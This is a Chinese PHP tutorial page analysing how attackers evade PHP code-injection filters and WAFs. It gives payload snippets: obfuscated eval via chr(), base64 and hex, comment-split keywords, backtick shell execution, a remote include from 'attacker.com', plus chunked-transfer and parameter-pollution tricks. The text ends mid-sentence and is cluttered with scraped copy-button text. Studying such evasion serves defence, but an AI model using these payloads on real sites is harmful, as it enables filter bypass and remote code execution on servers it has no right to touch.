PHP代码注入检测绕过技巧_PHP代码注入检测绕过方法分析-php教程-PHP中文网

绕过PHP代码注入检测的核心在于利用PHP语言特性、编码混淆及WAF处理漏洞。攻击者通过变量函数（如$func='eval'）、字符串拼接、chr()、base64_decode等函数隐藏恶意代码，或使用注释、编码分割关键字以逃避黑名单和正则检测。针对WAF，常采用分块传输、HTTP参数污染、双重编码等方式干扰其解析与匹配机制，从而实现绕过。

php代码注入检测绕过技巧_php代码注入检测绕过方法分析

PHP代码注入检测的绕过技巧，说白了，就是攻击者想方设法让恶意代码在服务器上执行，同时又躲过那些专门盯着可疑模式看的安全防护措施，比如WAF或者代码里的过滤器。核心思路无非是利用PHP语言的灵活性、检测机制的盲区，以及各种编码、混淆手段来“伪装”恶意代码，让它们看起来无害，或者干脆让检测器“看不懂”。这就像玩猫捉老鼠的游戏，猫有它的抓捕逻辑，老鼠就得琢磨怎么跳出这个逻辑框架。

解决方案

要绕过PHP代码注入检测，攻击者通常会从几个维度入手：一是利用PHP语言本身的一些特性，比如变量函数、字符串操作函数、或者PHP对各种编码的宽容度；二是针对检测机制的弱点，比如简单的黑名单过滤、不完善的正则表达式，甚至是WAF规则的特定漏洞；三是通过改变数据传输方式，让检测器无法完整地解析请求内容。这其中包含的技巧非常多，从简单的混淆到复杂的协议层绕过，目的都是为了让那个本该被拦截的

eval($_GET['cmd'])

登录后复制

或者

system($_POST['cmd'])

登录后复制

能够顺利执行。

常见的PHP代码注入检测机制有哪些，它们是如何工作的？

在我看来，理解绕过技巧，首先得搞清楚我们到底在绕过什么。最常见的PHP代码注入检测机制，无非是那几板斧：黑名单关键字过滤、正则表达式匹配，以及更高级一点的Web应用防火墙（WAF）。

黑名单/关键字过滤：这算是最基础也最容易被绕过的防护了。它通常维护一个“坏词”列表，比如

eval

登录后复制

、

system

登录后复制

、

exec

登录后复制

、

passthru

登录后复制

等等。当用户输入中包含这些关键字时，就直接拦截。这种方法的致命弱点在于，攻击者只要找到这些关键字的替代品，或者通过各种手段“拆分”关键字，就能轻松绕过。比如说，

eval

登录后复制

可以写成

e.v.a.l

登录后复制

，或者利用字符串拼接，

'e'.'val'

登录后复制

，甚至

chr(101).chr(118).chr(97).chr(108)

登录后复制

，对PHP来说都是

eval

登录后复制

，但对简单的黑名单来说，它们可能就不是了。

立即学习“PHP免费学习笔记（深入）”；

正则表达式匹配：比黑名单稍微高级一点，它能识别更复杂的模式，比如

eval\s*\(

登录后复制

或者

system\s*\([^)]+\)

登录后复制

。正则表达式的强大在于它的模式匹配能力，可以捕获很多变种。然而，编写一个完美无缺的正则表达式来覆盖所有可能的注入方式几乎是不可能的。PHP的语法本身就非常灵活，有太多方式可以达到相同的效果。攻击者可能会利用正则匹配的贪婪/非贪婪模式缺陷、回溯限制，或者干脆用一些非常规的PHP语法糖来逃避匹配。我个人觉得，正则在某些场景下效率很高，但面对有心人的精心构造，它也常常力不从心。

WAF（Web应用防火墙）：WAF是更全面的防护，它不仅看关键字和模式，还会分析HTTP请求的各个部分，甚至尝试理解请求的意图。很多WAF都有自己的规则集，比如ModSecurity。它们会尝试对输入进行解码（URL解码、HTML实体解码等），然后应用规则。WAF的挑战在于，它需要在不影响正常业务的前提下，尽可能多地拦截恶意请求。这就导致WAF往往会存在误报（False Positive）和漏报（False Negative）的问题。攻击者会研究WAF的规则集，寻找其中的逻辑漏洞，或者利用WAF处理请求的特定方式（比如分块传输、HTTP参数污染）来绕过检测。在我看来，WAF更像一个经验丰富的门卫，他知道哪些人可能可疑，但总有那么些“伪装高手”能混进去。

攻击者如何利用PHP的特性来绕过注入检测？

PHP语言的灵活性，在我看来，既是它的魅力所在，也是安全风险的根源。攻击者恰恰就喜欢利用这些“特性”来绕过检测。

变量函数与回调函数：这是PHP绕过的一大利器。比如，

eval

登录后复制

、

system

登录后复制

这些危险函数，可以直接通过字符串变量来调用。

$func = 'eval'; $func('phpinfo();');

登录后复制

。如果检测器只盯着字面上的

eval

登录后复制

，那它就可能错过这种形式。更进一步，

call_user_func

登录后复制

、

call_user_func_array

登录后复制

这些回调函数，可以动态地调用任何函数，包括危险函数。攻击者可以把要执行的命令作为参数传给这些函数，检测器就更难追踪了。

字符串操作与编码：PHP对字符串的处理非常宽容，这给了攻击者巨大的操作空间。

chr()
登录后复制
函数：可以将ASCII码转换为字符。
```
chr(101).chr(118).chr(97).chr(108)
```
登录后复制
就变成了
```
eval
```
登录后复制
。检测器如果不对
```
chr()
```
登录后复制
的结果进行还原，就很容易被绕过。
base64_decode()
登录后复制
：对
```
base64
```
登录后复制
编码的字符串进行解码。
```
eval(base64_decode('cGhwaW5mbygpOw=='));
```
登录后复制
。这种方式非常常见，因为它可以把整个恶意代码块隐藏起来。
URL编码：
```
%65%76%61%6c
```
登录后复制
也是
```
eval
```
登录后复制
。WAF通常会进行URL解码，但如果攻击者进行双重甚至多重编码，或者在非预期的地方使用编码，WAF可能就只会解码一次，导致绕过。
十六进制编码：
```
eval(hex2bin('706870696e666f28293b'))
```
登录后复制
。和
```
base64
```
登录后复制
类似，也是一种隐藏手段。
字符串拼接：
```
$a = 'ev'; $b = 'al'; $c = $a.$b; $c('phpinfo();');
```
登录后复制
。这种方式通过分解关键字，再动态组合，绕过那些只检查完整关键字的过滤器。

注释的使用：PHP支持多种注释风格（

//

登录后复制

、

登录后复制

、

/* ... */

登录后复制

）。攻击者可以利用注释来“分割”关键字，或者插入无意义字符来干扰正则表达式匹配。例如，

ev/*comment*/al

登录后复制

，或者

sy#comment#stem

登录后复制

。

代码小浣熊

代码小浣熊是基于商汤大语言模型的软件智能研发助手，覆盖软件需求分析、架构设计、代码编写、软件测试等环节

查看详情

反引号执行：PHP中，反引号（

登录后复制

）内的内容会被当作shell命令执行。这其实是

shell_exec()

登录后复制

的语法糖。如果

shell_exec()

登录后复制

被禁用了，但反引号没有被特殊处理，就可能被利用。例如，

`ls -la`

登录后复制

。

PHP配置与环境特性：

allow_url_include
登录后复制
：如果开启，攻击者可以远程包含恶意文件，从而执行代码。
```
include 'http://attacker.com/malicious.txt';
```
登录后复制
。
open_basedir
登录后复制
：如果配置不当，或者有办法绕过，攻击者可以访问到不该访问的文件。
disable_functions
登录后复制
：如果管理员没有禁用所有危险函数，或者禁用列表不完整，攻击者就会寻找那些漏网之鱼。

针对WAF和高级检测系统的绕过策略有哪些？

WAF虽然比简单的过滤器强大，但它也不是万能的。针对WAF和高级检测系统，绕过策略往往更侧重于利用协议特性、WAF规则逻辑，或者更巧妙的混淆。

分块传输编码（Chunked Transfer Encoding）：HTTP/1.1支持分块传输，服务器接收到数据块后才会重新组装。有些WAF可能只检查请求的头部或者前几个数据块，而没有对完整的请求体进行重组和分析。攻击者可以将恶意载荷分散到不同的数据块中，或者在数据块之间插入垃圾数据，从而绕过WAF的深度检测。

HTTP参数污染（HTTP Parameter Pollution - HPP）：当一个HTTP请求中包含多个同名参数时，不同的Web服务器、应用服务器或WAF对这些参数的处理方式可能不同。例如，